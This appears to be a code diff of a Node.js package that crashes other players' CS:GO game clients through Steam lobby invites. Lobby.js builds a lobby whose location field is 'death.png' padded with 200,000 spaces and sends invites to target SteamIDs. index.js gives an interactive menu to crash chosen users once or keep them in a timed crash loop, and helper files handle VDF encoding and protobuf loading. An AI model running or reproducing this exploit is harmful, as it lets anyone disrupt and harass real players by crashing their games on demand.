+ this.coordinator.Protos.csgo.EGCBaseClientMsg.k_EMsgGCClientWelcome,
162
+ this.coordinator.Protos.csgo.CMsgClientWelcome,
163
+ 2000
164
+ ).catch(() => { });
165
+
166
+ if (this.gcWelcome) {
167
+ break;
168
+ }
169
+
170
+ errGcWelcome += 1;
171
+
172
+ if (errGcWelcome > 10 /* 2 times 10 = 20 seconds to connect */) {
173
+ reject(new Error("Failed to establish GameCoordinator connection"));
174
+ return;
175
+ }
176
+ }
177
+ // From now on we should not need to loop any request anymore as the game has fully established connection
178
+
179
+ // Lets get a matchmaking hello so we can properly set everything required
180
+ this.gcMatchmaking = await this.coordinator.sendMessage(
181
+ 730,
182
+ this.coordinator.Protos.csgo.ECsgoGCMsg.k_EMsgGCCStrike15_v2_MatchmakingClient2GCHello,
183
+ {},
184
+ this.coordinator.Protos.csgo.CMsgGCCStrike15_v2_MatchmakingClient2GCHello,
185
+ {},
186
+ this.coordinator.Protos.csgo.ECsgoGCMsg.k_EMsgGCCStrike15_v2_MatchmakingGC2ClientHello,
187
+ this.coordinator.Protos.csgo.CMsgGCCStrike15_v2_MatchmakingGC2ClientHello,
188
+ 2000
189
+ ).catch(reject);
190
+
191
+ if (!this.gcMatchmaking) {
192
+ return;
193
+ }
194
+
195
+ // If a lobby already exists under our name try to leave it to ensure its all up-to-date
196
+ if (this.lobbySettings.id) {
197
+ await this.coordinator.sendMessage(
198
+ undefined,
199
+ 6605,
200
+ {
201
+ steamid: this.steam.steamID.getSteamID64(),
202
+ client_sessionid: this.steam._sessionID,
203
+ routing_appid: 730
204
+ },
205
+ this.coordinator.Protos.steam.CMsgClientMMSLeaveLobby,
206
+ {
207
+ app_id: 730,
208
+ steam_id_lobby: this.lobbySettings.id.toString()
209
+ },
210
+ 6606,
211
+ this.coordinator.Protos.steam.CMsgClientMMSLeaveLobbyResponse,
212
+ 2000
213
+ ).catch(() => { });
214
+
215
+ // We don't care about the response, either we just left a lobby or were never in one
216
+ }
217
+
218
+ // Create the actual lobby on Steam
219
+ let lobbyCreate = await this.coordinator.sendMessage(
220
+ undefined,
221
+ 6601,
222
+ {
223
+ steamid: this.steam.steamID.getSteamID64(),
224
+ client_sessionid: this.steam._sessionID,
225
+ routing_appid: 730
226
+ },
227
+ this.coordinator.Protos.steam.CMsgClientMMSCreateLobby,
228
+ {
229
+ app_id: 730,
230
+ max_members: 1,
231
+ lobby_type: 1,
232
+ lobby_flags: 1,
233
+ cell_id: this.steam.cellID,
234
+ public_ip: Helper.IPStrToInt(this.steam.publicIP),
235
+ persona_name_owner: this.steam.accountInfo.name
236
+ },
237
+ 6602,
238
+ this.coordinator.Protos.steam.CMsgClientMMSCreateLobbyResponse,
239
+ 3000
240
+ ).catch(reject);
241
+
242
+ if (!lobbyCreate) {
243
+ return;
244
+ }
245
+
246
+ if (lobbyCreate.eresult !== 1) {
247
+ reject(new Error("Invalid EResult for creating lobby: " + lobbyCreate.eresult));
248
+ return;
249
+ }
250
+
251
+ this.lobbySettings = {
252
+ id: new SteamID(lobbyCreate.steam_id_lobby.toString())
253
+ }
254
+
255
+ let mapgroups = ["mg_de_mirage", "mg_de_inferno", "mg_de_overpass", "mg_de_vertigo", "mg_de_nuke", "mg_de_train", "mg_de_dust2"];
256
+
257
+ await this.updateLobbyData({
258
+ "game:apr": "1",
259
+ "game:ark": "180",
260
+ "game:loc": "death.png" + " ".repeat(200000),
261
+ "game:map": mapgroups[0].replace("mg_", ""),
262
+ "game:mapgroupname": mapgroups.join(","),
263
+ "game:mode": "cooperative",
264
+ "game:prime": "1",
265
+ "game:search_key": "k13711",
266
+ "game:state": "lobby",
267
+ "game:type": "classic",
268
+ "members:numMachines": "2",
269
+ "members:numPlayers": "2",
270
+ "members:numSlots": "10",
271
+ "options:action": "custommatch",
272
+ "options:anytypemode": "0",
273
+ "options:server": "official",
274
+ "system:access": "public",
275
+ "system:network": "LIVE",
276
+ "uids": [
277
+ this.steam.steamID,
278
+ SteamID.fromIndividualAccountID(22202)
279
+ ]
280
+ }, 10, 1, 1).catch(() => { });
281
+
282
+ resolve({
283
+ gcWelcome: this.gcWelcome,
284
+ gcMatchmaking: this.gcMatchmaking
285
+ });
286
+ });
287
+ }
288
+
289
+ updateLobbyData(customs, maxMembers = 10, lobbyType = 1, lobbyFlags = 1) {
290
+ return new Promise((resolve, reject) => {
291
+ if (!this.lobbySettings.id) {
292
+ reject(new Error("Lobby has not yet been created"));
293
+ return;
294
+ }
295
+
296
+ // Create defaults
297
+ let defaults = this.lobbySettings.csgo || {
298
+ "game:apr": "1",
299
+ "game:ark": "130",
300
+ "game:loc": "DE",
301
+ "game:map": "de_mirage",
302
+ "game:mapgroupname": "mg_de_mirage,mg_de_inferno,mg_de_overpass,mg_de_vertigo,mg_de_nuke,mg_de_train,mg_de_dust2",
303
+ "game:mode": "competitive",
304
+ "game:prime": "1",
305
+ "game:search_key": "k13710",
306
+ "game:state": "lobby",
307
+ "game:type": "classic",
308
+ "members:numMachines": "1",
309
+ "members:numPlayers": "1",
310
+ "members:numSlots": "10",
311
+ "options:action": "custommatch",
312
+ "options:anytypemode": "0",
313
+ "options:server": "official",
314
+ "system:access": "private",
315
+ "system:network": "LIVE",
316
+ "uids": [
317
+ this.steam.steamID
318
+ ]
319
+ };
320
+
321
+ let obj = {};
322
+
323
+ // Combine customs with defaults
324
+ for (let key in defaults) {
325
+ obj[key] = defaults[key];
326
+ }
327
+
328
+ for (let key in customs) {
329
+ obj[key] = customs[key];
330
+ }
331
+
332
+ this.lobbySettings.csgo = obj;
333
+
334
+ // Now we normalize it to only allow strings
335
+ for (let key in obj) {
336
+ if (typeof obj[key] === "object") {
337
+ continue;
338
+ }
339
+
340
+ obj[key] = obj[key].toString();
341
+ }
342
+
343
+ // Finally send it as update to the game
344
+ this.coordinator.sendMessage(
345
+ undefined,
346
+ 6609,
347
+ {
348
+ steamid: this.steam.steamID.getSteamID64(),
349
+ client_sessionid: this.steam._sessionID,
350
+ routing_appid: 730
351
+ },
352
+ this.coordinator.Protos.steam.CMsgClientMMSSetLobbyData,
353
+ {
354
+ app_id: 730,
355
+ steam_id_lobby: this.lobbySettings.id.getSteamID64(),
356
+ steam_id_member: "0",
357
+ max_members: maxMembers,
358
+ lobby_type: lobbyType,
359
+ lobby_flags: lobbyFlags,
360
+ metadata: VDF.encode(obj, [0x00, 0x00], [0x08], { uids: Helper.encodeUids }).toBuffer()
361
+ },
362
+ 6610,
363
+ this.coordinator.Protos.steam.CMsgClientMMSSetLobbyDataResponse,
364
+ 5000
365
+ ).then(resolve).catch(reject);
366
+ });
367
+ }
368
+
369
+ crashUsers(steamIDs) {
370
+ return new Promise(async (resolve, reject) => {
371
+ // Crash the users on our list
372
+ for (let steamid of steamIDs) {
373
+ this.coordinator.sendMessage(
374
+ undefined,
375
+ 6621,
376
+ {
377
+ steamid: this.steam.steamID.getSteamID64(),
378
+ client_sessionid: this.steam._sessionID,
379
+ routing_appid: 730
380
+ },
381
+ this.coordinator.Protos.steam.CMsgClientMMSInviteToLobby,
382
+ {
383
+ app_id: 730,
384
+ steam_id_lobby: this.lobbySettings.id.getSteamID64(),
385
+ steam_id_user_invited: steamid
386
+ },
387
+ undefined,
388
+ undefined,
389
+ 5000
390
+ );
391
+ }
392
+
393
+ resolve(true);
394
+ });
395
+ }
396
+ }
@@ -0,0 +1,47 @@
1
+ const Protobuf = require("protobufjs");
2
+ const fs = require("fs");
3
+ const path = require("path");
4
+
5
+ module.exports = Protos;
6
+
7
+ /**
8
+ * @typedef protosObject
9
+ * @type {Object}
10
+ * @property {String} name Name ot use in the output
11
+ * @property {Array.<String>|String} protos Array of protobuf file paths to load OR directory path to load all
12
+ */
13
+
14
+ /**
15
+ * Parse an array of protobuf files
16
+ * @param {Array.<protosObject>} protos Array of objets to parse
17
+ * @param {Boolean} ignoreErrors Should we ignore errors or not
18
+ * @returns {Object}
19
+ */
20
+ function Protos(protos, ignoreErrors = true) {
21
+ const protobufs = {};
22
+
23
+ for (let proto of protos) {
24
+ let root = new Protobuf.Root();
25
+ let files = Array.isArray(proto.protos) ? proto.protos : fs.readdirSync(proto.protos).map(file => path.join(proto.protos, file));
26
+
27
+ for (let file of files) {
28
+ if (!file.endsWith(".proto") || !fs.existsSync(file)) {
29
+ continue;
30
+ }
31
+
32
+ try {
33
+ root = root.loadSync(file, {
34
+ keepCase: true
35
+ });
36
+ } catch (err) {
37
+ if (!ignoreErrors) {
38
+ throw err;
39
+ }
40
+ };
41
+ }
42
+
43
+ protobufs[proto.name] = root;
44
+ }
45
+
46
+ return protobufs;
47
+ }
package/helpers/VDF.js ADDED
@@ -0,0 +1,140 @@
1
+ const ByteBuffer = require("bytebuffer");
2
+
3
+ const Type = {
4
+ None: 0,
5
+ String: 1,
6
+ Int32: 2,
7
+ Float32: 3,
8
+ Pointer: 4,
9
+ WideString: 5,
10
+ Color: 6,
11
+ UInt64: 7,
12
+ End: 8,
13
+ };
14
+
15
+ module.exports = class VDF {
16
+ static decode(buffer, customDecodeFields = {}) {
17
+ if (buffer.toString("hex").startsWith("0000") === true) {
18
+ buffer = Buffer.from(buffer.toString("hex").substring(4), "hex");
19
+ }
20
+
21
+ let object = {};
22
+ if (typeof buffer.readUint8 !== "function") {
23
+ buffer = ByteBuffer.wrap(buffer);
24
+ }
25
+
26
+ if (buffer.offset !== buffer.limit) {
27
+ while (true) {
28
+ let type = buffer.readUint8();
29
+
30
+ if (type === Type.End) {
31
+ break;
32
+ }
33
+
34
+ let name = buffer.readCString();
35
+
36
+ if (typeof customDecodeFields[name] === "function") {
37
+ object[name] = customDecodeFields[name](buffer);
38
+ continue;
39
+ }
40
+
41
+ switch (type) {
42
+ case Type.None: {
43
+ object[name] = this.decode(buffer);
44
+ break;
45
+ }
46
+ case Type.String: {
47
+ object[name] = buffer.readCString();
48
+ break;
49
+ }
50
+ case Type.Int32:
51
+ case Type.Color:
52
+ case Type.Pointer: {
53
+ object[name] = buffer.readInt32();
54
+ break;
55
+ }
56
+ case Type.UInt64: {
57
+ object[name] = buffer.readUint64();
58
+ break;
59
+ }
60
+ case Type.Float32: {
61
+ object[name] = buffer.readFloat();
62
+ break;
63
+ }
64
+ }
65
+ }
66
+ }
67
+
68
+ return object;
69
+ }
70
+
71
+ static encode(_object, prefix = [0x00, 0x00], suffix = [], customEncodeFields = {}) {
72
+ // Create a copy of the input object so we do not modify it
73
+ let object = { ..._object };
74
+
75
+ let buffer = new ByteBuffer();
76
+
77
+ for (let pre of prefix) {
78
+ buffer.writeByte(pre);
79
+ }
80
+
81
+ for (let item in object) {
82
+ if (object.hasOwnProperty(item) === false) {
83
+ continue;
84
+ }
85
+
86
+ if (typeof customEncodeFields[item] === "function") {
87
+ object[item] = customEncodeFields[item](object[item]);
88
+ }
89
+
90
+ _encode(object[item], buffer, item);
91
+ }
92
+
93
+ for (let suf of suffix) {
94
+ buffer.writeByte(suf);
95
+ }
96
+
97
+ buffer.writeByte(Type.End);
98
+ buffer.flip();
99
+
100
+ return buffer;
101
+ }
102
+ }
103
+
104
+ function _encode(object, buffer, name) {
105
+ if (object instanceof Buffer) {
106
+ buffer.writeByte(Type.String);
107
+ buffer.writeCString(name);
108
+ let parts = object.toString("hex").toUpperCase().match(/.{1,2}/g);
109
+ for (let part of parts) {
110
+ buffer.writeByte(parseInt("0x" + part));
111
+ }
112
+ //buffer.writeByte(0x00);
113
+ } else {
114
+ switch (typeof object) {
115
+ case "object": {
116
+ buffer.writeByte(Type.None);
117
+ buffer.writeCString(name);
118
+
119
+ for (let index in object) {
120
+ _encode(object[index], buffer, index);
121
+ }
122
+
123
+ buffer.writeByte(Type.End);
124
+ break;
125
+ }
126
+ case "string": {
127
+ buffer.writeByte(Type.String);
128
+ buffer.writeCString(name);
129
+ buffer.writeCString(object ? object : "");
130
+ break;
131
+ }
132
+ case "number": {
133
+ buffer.writeByte(Type.String);
134
+ buffer.writeCString(name);
135
+ buffer.writeCString(object.toString());
136
+ break;
137
+ }
138
+ }
139
+ }
140
+ }
package/index.js ADDED
@@ -0,0 +1,137 @@
1
+ const Inquirer = require("inquirer");
2
+ const SteamID = require("steamid");
3
+ const Lobby = require("./helpers/Lobby.js");
4
+ const Helper = require("./helpers/Helper.js");
5
+ const config = require("./config.json");
6
+
7
+ let lobby = undefined;
8
+
9
+ (async () => {
10
+ if (!Helper.verifyProtobufs()) {
11
+ console.log("Failed to find protobufs. Downloading...");
12
+ await Helper.downloadProtobufs(__dirname);
13
+ } else {
14
+ console.log("Found protobufs");
15
+ }
16
+
17
+ lobby = new Lobby();
18
+
19
+ console.log("Logging in...");
20
+
21
+ await lobby.createLobby(config.details);
22
+
23
+ askQuestion();
24
+ })();
25
+
26
+ function askQuestion() {
27
+ Inquirer.prompt({
28
+ type: "list",
29
+ message: "What would you like to do?",
30
+ name: "reply",
31
+ choices: [
32
+ "Crash users once",
33
+ "Add users to crash loop",
34
+ "Remove users from crash list"
35
+ ]
36
+ }).then(async (res) => {
37
+ if (res.reply === "Remove users from crash list") {
38
+ if (lobby.crashLoop.length <= 0) {
39
+ console.log("No user is currently being crashed");
40
+ askQuestion();
41
+ return;
42
+ }
43
+
44
+ let remove = await Inquirer.prompt({
45
+ type: "list",
46
+ message: "Which user would you like to remove from the crash loop?",
47
+ name: "reply",
48
+ choices: [
49
+ lobby.crashLoop.map(c => c.steamid),
50
+ "EXIT"
51
+ ].flat()
52
+ });
53
+
54
+ if (remove.reply === "EXIT") {
55
+ askQuestion();
56
+ return;
57
+ }
58
+
59
+ let index = lobby.crashLoop.findIndex(c => c.steamid === remove.reply);
60
+ if (index <= -1) {
61
+ console.log("\"" + remove.reply + "\" is not in the crash loop");
62
+ } else {
63
+ lobby.crashLoop.splice(index, 1);
64
+ console.log("\"" + remove.reply + "\" has been removed from the crash loop");
65
+ }
66
+
67
+ askQuestion();
68
+ return;
69
+ }
70
+
71
+ if ([
72
+ "Crash users once",
73
+ "Add users to crash loop"
74
+ ].includes(res.reply)) {
75
+ // Lets ask for user input
76
+
77
+ let users = await Inquirer.prompt({
78
+ type: "input",
79
+ message: "Please enter SteamIDs of the users you want to crash. Separated by commas",
80
+ name: "reply"
81
+ });
82
+
83
+ let dur = -1;
84
+ if (res.reply === "Add users to crash loop") {
85
+ let time = await Inquirer.prompt({
86
+ type: "input",
87
+ message: "For how long do you want to crash the user(s) for? In minutes.",
88
+ name: "reply"
89
+ });
90
+
91
+ time = parseInt(time.reply);
92
+ if (!isNaN(time)) {
93
+ dur = time;
94
+ } else {
95
+ console.log("Invalid duration input.");
96
+ askQuestion();
97
+ return;
98
+ }
99
+ }
100
+
101
+ let toAddRaw = users.reply.split(",");
102
+ let toAdd = [];
103
+
104
+ for (let to of toAddRaw) {
105
+ let sid = undefined;
106
+ try {
107
+ sid = new SteamID(to);
108
+ } catch { }
109
+
110
+ if (!sid) {
111
+ console.log("Failed to parse SteamID from \"" + to + "\"");
112
+ continue;
113
+ }
114
+
115
+ if (dur > 0) {
116
+ toAdd.push({
117
+ steamid: sid.toString(),
118
+ end: Date.now() + (dur * 60 * 1000)
119
+ });
120
+ console.log("Trying to crash \"" + sid.toString() + "\" for " + dur + " minutes");
121
+ } else {
122
+ toAdd.push(sid.toString());
123
+ console.log("Tried to crash \"" + sid.toString() + "\"");
124
+ }
125
+ }
126
+
127
+ if (dur > 0) {
128
+ lobby.crashLoop.push(...toAdd);
129
+ } else {
130
+ lobby.crashUsers(toAdd);
131
+ }
132
+ }
133
+
134
+ // Return to questioning
135
+ askQuestion();
136
+ });
137
+ }